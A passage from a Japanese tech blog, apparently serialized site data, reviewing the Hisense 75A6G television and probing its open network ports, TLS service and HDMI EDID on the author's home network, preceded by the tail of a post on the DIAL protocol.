x2=\"438.5\" y1=\"325.8359\" y2=\"325.8359\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"134\" x=\"247\" y=\"320.77\">POST /pairingrequest</text>\n<path d=\"M24,306.7031 L24,331.7031 L178,331.7031 L178,316.7031 L168,306.7031 L24,306.7031 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<path d=\"M168,306.7031 L168,316.7031 L178,316.7031 L168,306.7031 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"133\" x=\"30\" y=\"323.77\">Send CTicket (CBOR)</text>\n<polygon fill=\"#FFFFFF\" points=\"194.5,353.9688,184.5,357.9688,194.5,361.9688,190.5,357.9688\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:2.0,2.0;\" x1=\"188.5\" x2=\"443.5\" y1=\"357.9688\" y2=\"357.9688\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"115\" x=\"256.5\" y=\"352.9028\">200 OK status=ok</text>\n<polygon fill=\"#FFFFFF\" points=\"194.5,411.1016,184.5,415.1016,194.5,419.1016,190.5,415.1016\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;\" x1=\"188.5\" x2=\"443.5\" y1=\"415.1016\" y2=\"415.1016\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"144\" x=\"242\" y=\"410.0356\">POST /pairingresponse</text>\n<path d=\"M449,395.9688 L449,420.9688 L663,420.9688 L663,405.9688 L653,395.9688 L449,395.9688 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<path d=\"M653,395.9688 L653,405.9688 L663,405.9688 L653,395.9688 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"193\" x=\"455\" y=\"413.0356\">Send encrypted shared secret</text>\n<polygon fill=\"#FFFFFF\" points=\"432.5,443.2344,442.5,447.2344,432.5,451.2344,436.5,447.2344\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:2.0,2.0;\" x1=\"183.5\" x2=\"438.5\" y1=\"447.2344\" y2=\"447.2344\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"115\" x=\"256.5\" y=\"442.1685\">200 OK status=ok</text>\n<rect fill=\"#FFFFFF\" height=\"3\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"683.5\" x=\"5\" y=\"475.8008\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:0.5;\" x1=\"5\" x2=\"688.5\" y1=\"475.8008\" y2=\"475.8008\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:0.5;\" x1=\"5\" x2=\"688.5\" y1=\"478.8008\" y2=\"478.8008\"/>\n<rect fill=\"#FFFFFF\" height=\"23.1328\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"76\" x=\"308.75\" y=\"465.2344\"/>\n<text fill=\"#0B58A8\" font-family=\"Verdana\" font-size=\"13\" font-weight=\"bold\" lengthAdjust=\"spacing\" textLength=\"57\" x=\"314.75\" y=\"481.3013\">Session</text>\n<path d=\"M56,503.3672 L56,528.3672 L178,528.3672 L178,513.3672 L168,503.3672 L56,503.3672 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<path d=\"M168,503.3672 L168,513.3672 L178,513.3672 L168,503.3672 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"101\" x=\"62\" y=\"520.4341\">Play an episode</text>\n<polygon fill=\"#FFFFFF\" points=\"432.5,550.6328,442.5,554.6328,432.5,558.6328,436.5,554.6328\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;\" x1=\"183.5\" x2=\"438.5\" y1=\"554.6328\" y2=\"554.6328\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"90\" x=\"269\" y=\"549.5669\">POST /session</text>\n<polygon fill=\"#FFFFFF\" points=\"194.5,579.7656,184.5,583.7656,194.5,587.7656,190.5,583.7656\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:2.0,2.0;\" x1=\"188.5\" x2=\"443.5\" y1=\"583.7656\" y2=\"583.7656\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"115\" x=\"256.5\" y=\"578.6997\">200 OK status=ok</text>\n<path d=\"M449,621.7656 L449,646.7656 L600,646.7656 L600,631.7656 L590,621.7656 L449,621.7656 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<path d=\"M590,621.7656 L590,631.7656 L600,631.7656 L590,621.7656 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"130\" x=\"455\" y=\"638.8325\">Report playing state</text>\n<polygon fill=\"#FFFFFF\" points=\"194.5,669.0313,184.5,673.0313,194.5,677.0313,190.5,673.0313\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;\" x1=\"188.5\" x2=\"443.5\" y1=\"673.0313\" y2=\"673.0313\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"90\" x=\"269\" y=\"667.9653\">POST /session</text>\n<polygon fill=\"#FFFFFF\" points=\"432.5,698.1641,442.5,702.1641,432.5,706.1641,436.5,702.1641\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:2.0,2.0;\" x1=\"183.5\" x2=\"438.5\" y1=\"702.1641\" y2=\"702.1641\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"115\" x=\"256.5\" y=\"697.0981\">200 OK status=ok</text>\n</g>\n</svg>\n\n## まとめ\n\n異常なほどにUDPマルチキャストが飛び交っていたのは、テレビをHISENSE-75A6Gに買い替えたことによって、VivaldiがHISENSE-75A6Gを見つけてしまったことに起因していました。\nご家庭のネットワークで異常検知アラートがなったら調査する習慣をつけておくと、こういった問題の解決に迅速に対応できるのでアラート設定をお勧めします。\n\nDIALの挙動を一通り確認することもでき、また新たな技術を知る良いきっかけとなりましたとさ。おしまい。\n"]}],[0,{"slug":[0,"2021/08/07/hisense-75a6g-review/"],"data":[0,{"title":[0,"75インチ液晶テレビHisense 75A6Gのレビューと通信システム調査"],"date":[3,"2021-08-07T11:30:00.000Z"],"image":[0,"/assets/images/2021/08/07/hisense-75a6g.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Display"]]],"tags":[1,[[0,"4k"],[0,"hdr"],[0,"tv"],[0,"hardware"],[0,"ips"]]],"redirect_from":[0,"/blog/2021/08/07/hisense-vidaa-hacking/"]}],"content":[0,"\n三年前に65インチの格安4Kテレビを購入したが、視力の低下が著しく視聴距離2mでは鮮明さに欠けるようになってきた。\n\n::PostLink{slug=\"lowcost-65-4k-hdr-tv\"}\n\n矯正視力なら精細に観ることができるものの、映像視聴を除いてはメガネの必要性が無い家の中なので、極力メガネをかけることなしに視聴したい。\n解決策の一つとして、テレビのサイズをデカくする方法を考えていたが、65インチを超えるサイズとなると20万、30万円の価格帯となり、インチあたりの価格が極端に高くなる傾向にある。\nそのためなかなか購入に踏み切れていなかったが、オリンピックと在庫処分が掛け合わさって[LGの型落ち75インチ液晶テレビ](https://www.lg.com/jp/tv/lg-75SM8600PJB)がコストコで税込16万円を切るなど、だいぶ手の届きやすいところへと落ち着いてきていた。\n\nそのLGの型落ちモデルを買ってもよかったが、オリンピック開幕直前にハイセンスより75インチ4K液晶テレビ新製品が15万円前後で発売されると聞いて、この値段ならと購入した。\n\n\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">𝑚𝑦 𝑛𝑒𝑤 𝑔𝑒𝑎𝑟 <a href=\"https://t.co/gleCE0owYY\">pic.twitter.com/gleCE0owYY</a></p>&mdash; TODO: 免許証更新 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1412752254491234310?ref_src=twsrc%5Etfw\">July 7, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n## 目次\n\n## Hisense 75A6G\n\n[75A6G \\| ハイセンスジャパン株式会社](https://www.hisense.co.jp/tv/75a6g/)\n\n今年7月上旬発売のハイセンス75型液晶テレビ。\n一昔前のハイエンドモデルにしか搭載されてこなかったような機能や特徴が、この普及価格帯のモデルに搭載されているのが最大の長所である。\n詳しい謳い文句は公式サイトにある。\n\n東芝のテレビ事業を買収してからのハイセンスのテレビは、ミドルレンジ向けのREGZAをハイセンスブランドで売ってるようなものが多く、この製品もREGZAそのものだった(後述)。\n\n<a href=\"https://www.amazon.co.jp/%E3%83%8F%E3%82%A4%E3%82%BB%E3%83%B3%E3%82%B9-4K%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8A%E3%83%BC%E5%86%85%E8%94%B5-75A6G-%E3%83%8D%E3%83%83%E3%83%88%E5%8B%95%E7%94%BB%E5%AF%BE%E5%BF%9C-2021%E5%B9%B4%E3%83%A2%E3%83%87%E3%83%AB/dp/B098JV7JC8?&linkCode=li3&tag=mzyy-22&linkId=2f77aa64f5c988b69f7297c7e11688ad&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B098JV7JC8&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| ハイセンス 75V型 4Kチューナー内蔵 液晶 テレビ 75A6G ネット動画対応 ADSパネル 3年保証 2021年モデル \\| テレビ 通販](https://www.amazon.co.jp/%E3%83%8F%E3%82%A4%E3%82%BB%E3%83%B3%E3%82%B9-4K%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8A%E3%83%BC%E5%86%85%E8%94%B5-75A6G-%E3%83%8D%E3%83%83%E3%83%88%E5%8B%95%E7%94%BB%E5%AF%BE%E5%BF%9C-2021%E5%B9%B4%E3%83%A2%E3%83%87%E3%83%AB/dp/B098JV7JC8?&linkCode=ll1&tag=mzyy-22&linkId=d1040628fe9d7878ec1f3c35ebec3280&language=ja_JP&ref_=as_li_ss_tl)\n\nAndroid TVのような重量級のソフトウェアを搭載せず、代わりにLinuxが搭載されている。\nその上でNetflixやprime videoなど、WebをベースとしたVODサービスが動くようになっている。\n個人的には何年間も使うテレビにはAndroid TVを搭載してほしく無いと考えているため、Android TVを搭載してこなかった点は好印象だ。\n\n今までAndroid TVを搭載していたテレビで、長きにわたってアップデートが提供されてきている製品を見たことがない。\nスマホのような短いサイクルで買い替えることのない大型家電に、複雑なAndroidなんて載せられたら数年後には動かないアプリは出てくるわセキュリティホールまみれだわで、大きな粗大ゴミになってしまう。\nたまったもんじゃない。\n\n## 使用感レビュー\n\n\n\nこのモデルは店頭にも置いてあるようなので、購入を迷っている人はインターネットの記事なんか信用せずに目で見て確認してほしい。\n直接目で見るものだからこそ、直接目で見て判断した方が良いと言うものだ。\n\n### 壁掛け設置のしやすさ\n\n75インチにして本体26kgの軽量設計のため、壁掛けも容易だ。流石に一人では掛けられないが、標準体格二人で余裕を持って掛けられる。\n支柱あたり耐荷重20kgのラブリコ(アイアンモデル)で柱を2本立て、間に2本の棚を渡して壁掛けパーツを取り付けて掛けている。\n安いからと血迷って型落ちモデルを買っていたら、40kg前後もあるパネルを壁に掛け続けることとなっていたと思うと、新製品を選択した甲斐があったと電源を入れる前から実感させられる。\n\n\n\n多くの壁掛けパーツに対応しており、裏にはVESAの穴が400x300で空いていてM6x10mmのネジが適合する。\n\nそれ以上の長さのネジにはスペーサーを必要とすると記載があるので、10mm程度が埋まるよう調節する必要がある。\n\n\n\n引用元: [https://www.hisense.co.jp/tv/75a6g/assets/pdf/75A6G_spec.pdf](https://www.hisense.co.jp/tv/75a6g/assets/pdf/75A6G_spec.pdf)\n\n\n<a href=\"https://www.amazon.co.jp/dp/B07B4W2HTL?_encoding=UTF8&psc=1&linkCode=li3&tag=mzyy-22&linkId=2b2e2f98fb918c39e903829f6e58e506&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07B4W2HTL&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| 平安伸銅工業 LABRICO DIY収納パーツ 2×4アジャスター アイアン 屋外使用可 ホワイト IXO-1 \\| DIY収納用パーツ・キット](https://www.amazon.co.jp/dp/B07B4W2HTL?_encoding=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=360655d543faaabb77c1b22ecb40b9e4&language=ja_JP&ref_=as_li_ss_tl)\n\n\n### ノンベゼル\n\n近年の流行りとなっているパネルの縁が狭いベゼルレスデザインのひとつ上、ノンベゼルデザインをこの製品は採用している。\nベゼル(縁)がないノンベゼルという言葉通り、液晶パネル面がむき出しになっている。\n\n\n\n\n映像が占める割合が高く没入感が強まる反面、短所も多い。\n縁を持つことができないので、テレビの位置調整が困難になる。\nまた、これまで使っていたテレビ上のベゼルに引っ掛けるタイプの棚を置くと、パネルに圧力がかかって映像が滲んでしまった。\n棚自体を後ろに傾斜させることでパネルへの圧力を避け、なんとか棚を置くことはできたが、お勧めできないので棚は置けないものとして考えた方が良い。\n\n<a href=\"https://www.amazon.co.jp/%E3%82%A8%E3%83%AC%E3%82%B3%E3%83%A0-TV%E7%94%A8%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B5%E3%83%AA-%E6%BB%91%E3%82%8A%E6%AD%A2%E3%82%81%E3%82%B7%E3%83%BC%E3%83%88%E4%BB%98-32%E3%82%A4%E3%83%B3%E3%83%81%E4%BB%A5%E4%B8%8A%E5%AF%BE%E5%BF%9C%E3%83%A2%E3%83%87%E3%83%AB-AVD-TVTS01BK/dp/B08B7QY68Q?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&keywords=%E8%96%84%E5%9E%8B%E3%83%86%E3%83%AC%E3%83%93%E3%83%A9%E3%83%83%E3%82%AF&qid=1628222465&sr=8-5&linkCode=li2&tag=mzyy-22&linkId=e7c5a4869ed78348e258bb3807a276a3&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B08B7QY68Q&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon.co.jp: エレコム TV用アクセサリ TV上収納棚 滑り止めシート付 32インチ以上対応モデル 60cm 耐荷重5Kg ブラック AVD-TVTS01BK : パソコン・周辺機器](https://www.amazon.co.jp/%E3%82%A8%E3%83%AC%E3%82%B3%E3%83%A0-TV%E7%94%A8%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B5%E3%83%AA-%E6%BB%91%E3%82%8A%E6%AD%A2%E3%82%81%E3%82%B7%E3%83%BC%E3%83%88%E4%BB%98-32%E3%82%A4%E3%83%B3%E3%83%81%E4%BB%A5%E4%B8%8A%E5%AF%BE%E5%BF%9C%E3%83%A2%E3%83%87%E3%83%AB-AVD-TVTS01BK/dp/B08B7QY68Q?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&keywords=%E8%96%84%E5%9E%8B%E3%83%86%E3%83%AC%E3%83%93%E3%83%A9%E3%83%83%E3%82%AF&qid=1628222465&sr=8-5&linkCode=sl1&tag=mzyy-22&linkId=935df93b09a11aadfaec9301d2024fe7&language=ja_JP&ref_=as_li_ss_tl)\n\n### 光沢ADSパネル\n\nエッジレスデザインの光沢パネル。結構な反射があるため、明るい部屋で黒が映える映像の視聴は苦しい。\nIPS方式に似たADSパネルを搭載していることもあって、一般的なミドルレンジの液晶テレビなりの映像が楽しめる。\nこのサイズでこの低価格だから映像もそれなりかと思っていたが、想像以上に良い色が出ていた。\n\n[心惹かれる美しさ ADSパネル \\| 液晶ディスプレイ(PCモニター) \\| IODATA アイ・オー・データ機器](https://www.iodata.jp/product/lcd/info/ads.htm)\n\n#### RGBサブピクセル\n\nカラーバーを表示して白い部分をマクロ撮影したものが以下の画像。\n\n\n\n格安4Kパネルではコストダウンのために、光の三元色RGBに加えて白を追加したRGBWでドット数を削減しピクセル数を水増しする手法が流行った。\n買い替える前に使っていた65インチテレビが[まさにそのRGBWだった](../2018/2018-11-29-lowcost-65-4k-hdr-tv.md#%E3%82%B5%E3%83%96%E3%83%94%E3%82%AF%E3%82%BB%E3%83%AB)。\nこのハイセンス 75A6Gはそんな水増しのない、ちゃんとした**RGBサブピクセル**だ。\n\n[【激安の真実】メーカーが言わない格安4Kテレビの落とし穴 - the360.life(サンロクマル)](https://the360.life/U1301.doit?id=1551)\n\n#### バックライト\n\n直下型バックライトを搭載している。このバックライトが<ruby>曲者<rp>(</rp><rt>くせもの</rt><rp>)</rp></ruby>だった。\n\n地上波の視聴中、映像の明るさに応じてバックライトの輝度が変わるのだが、表示される映像より数十ミリ秒早くバックライトの輝度が切り替わることがあり、観ていて不快に感じることが何度かあった。\nソフトウェアの不良だと思うので今後のアップデートで修正されるだろう。それまでは我慢することとする。\n\n<Notice type=\"tip\">\n**追記(2021/10/03):** 先日アップデートがあり幾分マシになったが、まだ十ミリ秒ほど早くバックライトの切り替わりが起きている。\n</Notice>\n\n肝心のHDR映像では明暗のシーン切り替わりでバックライトがとても激しく切り替わる。ポジティブに捉えるならばまさにダイナミックなHDRだ。\nアクション映画を見ていて、暗所で銃撃戦になるときに映る[マズルフラッシュ](https://en.wikipedia.org/wiki/Muzzle_flash)が、とてもわかりやすくバックライトの激しさを体感できる。\n全体的に輝度を落とせばHDRの激しさも落ち着くが、通常シーンも暗めになるので調節が難しいところ。\n加えてローカルディミング非搭載ということもあって、暗い部分と明るい部分がはっきり分かれているシーンでは輝度が引っ張られる傾向にある。\n\nHDRを本格的に楽しみたいのであれば、ハイセンスの場合はローカルディミング対応のUシリーズか、有機ELテレビを買った方が良いだろう。\n\n\n\n\n引用元: [75U8F \\| ハイセンスジャパン株式会社](https://www.hisense.co.jp/tv/75u8f/?category=tv&page=75u8f)\n\n#### HDR\n\n前途の通り、HDRはお世辞にも素晴らしいものではないが、使えるなら使いたい機能だ。\nただ、工場出荷時の設定では互換性優先となっていて、4K60pのHDRが利用できない状態となっている。\n\n設定を開き、「その他の設定>外部入力・HDMI連動設定>HDMI モード選択」を高速通信モードにすると4K60pでHDRが利用できるフォーマットへと変更される。\n後から調べてわかったことだが、これは東芝REGZAの仕様のようだ(やっぱりREGZAじゃないか)。\n\n[ゲーム機との接続におけるHDR信号入力対応|テレビ|REGZA:東芝](https://www.regza.com/regza/support/hdr/index.html)\n\n\n\n\n\n#### なめらか調整\n\nカクカクしがちな映像をフレーム補完してくれるなめらか調整機能が搭載されているが、これもまた厄介な存在である。\nクリアスムーズ・スムーズ・オフの三段階で調節でき、デフォルトはクリアスムーズとなっているが、おすすめは「オフ」だ。\n\n理由としては二つあり、75A6Gに搭載のNetflixで映画を見ていると、せっかくの24fpsの映像表現が酔うほどに無理やり60fps化され、気分が悪くなってしまったこと。\nそしてMPEGノイズの載った映像に対してなめらか調整がなされると、[ティアリング](https://ja.wikipedia.org/wiki/%E3%83%86%E3%82%A3%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0)のような映像の乱れが発生すること。\nこれらはなめらか調整レベルをスムーズに下げることによって幾分マシになるが、控えめに言ってなくても良いレベル、強く言えば邪魔な機能なので、オフをおすすめする。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">新しいテレビのNetflixで映画み始めたらフレーム補完がデフォルトで強になってて酔いそうな感じになってる🤮</p>&mdash; TODO: 免許証更新 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1412757492572909575?ref_src=twsrc%5Etfw\">July 7, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n### DLNA再生対応\n\nこれまでNASに保存したコンテンツは[Plex](https://www.plex.tv/ja/)で管理し、AppleTVのPlexアプリで視聴する形をとっていた。\nこのテレビにはメディアプレイヤーの機能の中に、USBメモリからの再生に加えてDLNAクライアントが搭載されているため、PlexのDLNA機能を有効にすることで簡易的な視聴ができるようになった。\nただ、再生位置や未視聴バッジなどは同期されず、UI/UXもお世辞にもいいとは言えないので、おまけ程度と考えた方が良いだろう。\n\n\n<Notice type=\"tip\">\n**2021/12/17追記:** 久々にDLNAクライアント機能を使ってみたところ、MPEG-TS、MP4共に再生できなくなっていた。どうやらファームウェアアップデートで他のREGZAと同じくDTCP-IPのみ対応に制限されてしまったようだ。\n</Notice>\n\n## 通信システムの解析\n\nここからが本題。通信機器としての75A6Gを見ていく。\n\n### TCP/IP\n\nインターネットテレビ対応とあって、有線LANや無線LANによるインターネット接続に対応している。\nなのでnmapでネットワークスキャンをかけてみた。\n\n```\nStarting Nmap 7.91 ( https://nmap.org ) at 2021-07-14 02:46 JST\nNmap scan report for 192.168.181.222\nHost is up (0.0039s latency).\nNot shown: 65529 closed ports\nPORT STATE SERVICE VERSION\n7681/tcp open unknown\n9080/tcp open glrpc\n20000/tcp open upnp Intel UPnP reference SDK 1.2 (Linux 4.19.79-dtv2020-t31-20210402; UPnP 1.0; DLNADOC 1.50)\n51048/tcp open ssl/unknown\n56789/tcp open tcpwrapped\n56790/tcp open tcpwrapped\nMAC Address: 96:14:EE:8A:FF:70 (Unknown)\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel:4.19.79-dtv2020-t31-20210402\n\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 150.08 seconds\n```\n\nいくつかサービスをListenしているようだ。大きい順にさらに深く調べていく。\n\n#### TCPポート 56789/56790\n\nこれは先日紹介したDIAL RESTプロトコルに使われているものだ。\n\n::PostLink{slug=\"dial-rest-protocol\"}\n\n#### TCPポート 51048\n\nSSL/TLSではあるものの、nmapによるとCipher suiteが謎のようだ。\nOpenSSLコマンドでいくつか試したところ、TLS 1.2とSHA256暗号スイートの組み合わせで通信を始められた。\n\n```\n$ openssl s_client -connect 192.168.181.222:51048 -tls1_2 -cipher NULL-SHA256 2>/dev/null\nCONNECTED(00000003)\n---\nCertificate chain\n 0 s:/CN=REGZA NetLog Server/ST=Kanagawa/C=JP/O=Toshiba Visual Solutions Co.\n i:/CN=REGZA NetLog CA\n 1 s:/CN=REGZA NetLog CA\n i:/CN=REGZA NetLog CA\n---\nServer certificate\n-----BEGIN CERTIFICATE-----\nMIIDBzCCAe+gAwIBAgIBATANBgkqhkiG9w0BAQsFADAaMRgwFgYDVQQDEw9SRUda\nQSBOZXRMb2cgQ0EwHhcNOTUwMTAxMDAwMDAyWhcNMjQxMjI0MDAwMDAyWjBlMRww\nGgYDVQQDDBNSRUdaQSBOZXRMb2cgU2VydmVyMREwDwYDVQQIDAhLYW5hZ2F3YTEL\nMAkGA1UEBhMCSlAxJTAjBgNVBAoMHFRvc2hpYmEgVmlzdWFsIFNvbHV0aW9ucyBD\nby4wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC28JD8qR9EPN7hnuP7\nAGXtKe/8IREN//34txhA0yFAn6xHpBYx6gfDCkZbsCl9WIBHb533GLQ2M8FXYH/H\nN9F0BOdOP6EC2m3ztGRjNiBr8IyihgsKZZjCXFqU0a1kIWwyhdNtzQrBWPLvvD/M\nUbsq9gw8zlJoFATVG1okq3jiLy+xMinfUsdoGwUKBCqqiT4xbtjADHAGfZ+5DRis\n5PfJPQqhWQSJnTB/ZodS3fQs2/kqSdfK5TzPiotxuFubzGa1ucbPvAxZQFid76fT\n4Zjotyvf7VHB6OCb8qar+u1izURL1A2XCksgd8/ivRHqz4YL5HVzw1ajKNCB+qau\n1tr9AgMBAAGjDTALMAkGA1UdEwQCMAAwDQYJKoZIhvcNAQELBQADggEBACwPifwt\n8oyPSxJAkF1bC6/w8jVmbfI5O0KSnRXivJ+/maCs0t5r/ciFzAxCx/mUULR46rh/\nfuyFG6q9g2ov9Q5XRUWQqc8D87do2aYOV84kGndtUqGdhev1MUe2K9cK/dDZwld4\n3+JYTRPbZ92BBYDkXckKtLEI3LTYT+/S5dqJJtL4osyQqNt2j+lhCnuP+1VGlvlM\nbL+lI50fm7v4iI8SBVa6bWfYl141EYaKzj8ewe0fPfRwqE6df/hTFGttv+j7G6yE\n5fMsLPMHxPLwcjgaI4kzoN31Mfw7kTKasM2NuNyxighXPOmaEmlncS9BuTFRQJim\nmgrsmOTBLXJ5sRY=\n-----END CERTIFICATE-----\nsubject=/CN=REGZA NetLog Server/ST=Kanagawa/C=JP/O=Toshiba Visual Solutions Co.\nissuer=/CN=REGZA NetLog CA\n---\nNo client certificate CA names sent\n---\nSSL handshake has read 1628 bytes and written 338 bytes\n---\nNew, TLSv1/SSLv3, Cipher is NULL-SHA256\nServer public key is 2048 bit\nSecure Renegotiation IS supported\nCompression: NONE\nExpansion: NONE\nNo ALPN negotiated\nSSL-Session:\n Protocol : TLSv1.2\n Cipher : NULL-SHA256\n Session-ID:\n Session-ID-ctx:\n Master-Key: BF86D4091A74BBEB0A565D7A207907AE4D714B09F1951749BC09DF9A92D0DAE2A6CFA177FB2C967194F6AC69535D297E\n Start Time: 1627154771\n Timeout : 7200 (sec)\n Verify return code: 19 (self signed certificate in certificate chain)\n---\n```\n\n「REGZA NetLog Server」って。やはりハイセンスの皮を被ったREGZAじゃないか(呆れ)。\n\n\n\nクライアント証明書を要求されるので接続の確立まではできなかったが、サービスポートのようだ。\n\n#### TCPポート 20000\n\nHTTPサーバーが立っていて、DLNAのなにかが動いていた。\nUPnPで探索してもこのポートは告知されないので、DLNAのサービスが見つけられない状態となっている。\n外部連携機能によって外部から録画番組を観れると取扱説明書にあり、おそらくDLNAのことだろうが、ご覧の通り正しく動いていない可能性が高い。\n\n```\n$ curl -s -D - http://192.168.181.222:20000\nHTTP/1.1 500 Internal Server Error\nSERVER: Linux/4.19.79-dtv2020-t31-20210402 UPnP/1.0 DLNADOC/1.50 Intel_SDK_for_UPnP_devices/1.2\nCONTENT-LENGTH: 60\nCONTENT-TYPE: text/html\n\n<html><body><h1>500 Internal Server Error</h1></body></html>\n```\n\n#### TCPポート 9080\n\nNetflixがローカルネットワークの端末から再生コントロールを受け付けるためのHTTPポート。\n通信の流れはこちらのDIALの記事の後半に記載した。\n\n[DIALによる起動後の操作連携](../2021/2021-08-03-dial-rest-protocol.md#dialによる起動後の操作連携)\n\n#### TCPポート 7681\n\nよくわからず。nmapもunknownと行っているのでunknownなんだろう。\n\n### HDMI\n\nHDMIも立派な制御信号や映像を伝送する通信規格なので、もれなく調査する。\n調査方法にあたっては、以下の過去記事やKernel/VM探検隊online part2で発表した時の資料を参照のこと。\n\n::PostLink{slug=\"raspberrypi-hdmi-edid-cec\"}\n\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/key/sc4bHyHUnKmTH\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/mzyy94/hdmi-expedition\" title=\"HDMI探検隊\" target=\"_blank\">HDMI探検隊</a> </strong> from <strong><a href=\"https://www.slideshare.net/mzyy94\" target=\"_blank\">Yuki Mizuno</a></strong> </div>\n\n[HDMIケーブルはどんな制御信号を送っているのか 悪意ある「BadHDMI」を見分けるために知っておくこと - ログミーTech](https://logmi.jp/tech/articles/324535)\n\n\n#### EDID\n\n\n\nこの製品は4K60pのHDRに対応しているが、PS5で動かなくて困っていた。\nこの時EDIDを調査したところ、クロックが297MHzで帯域が足りていない様子だった。\n\n<p>\n<details>\n<summary>EDIDデコード結果</summary>\n<div class=\"highlighter-rouge\"><pre><code>\nEDID version: 1.3\nManufacturer: HEC Model 1024 Serial Number 00000000\nDigital display\nMaximum image size: 160 cm x 90 cm\nGamma: 2.20\nRGB color display\nFirst detailed timing is preferred timing\nDisplay x,y Chromaticity:\n Red: 0.6250, 0.3398\n Green: 0.2802, 0.5947\n Blue: 0.1552, 0.0703\n White: 0.2832, 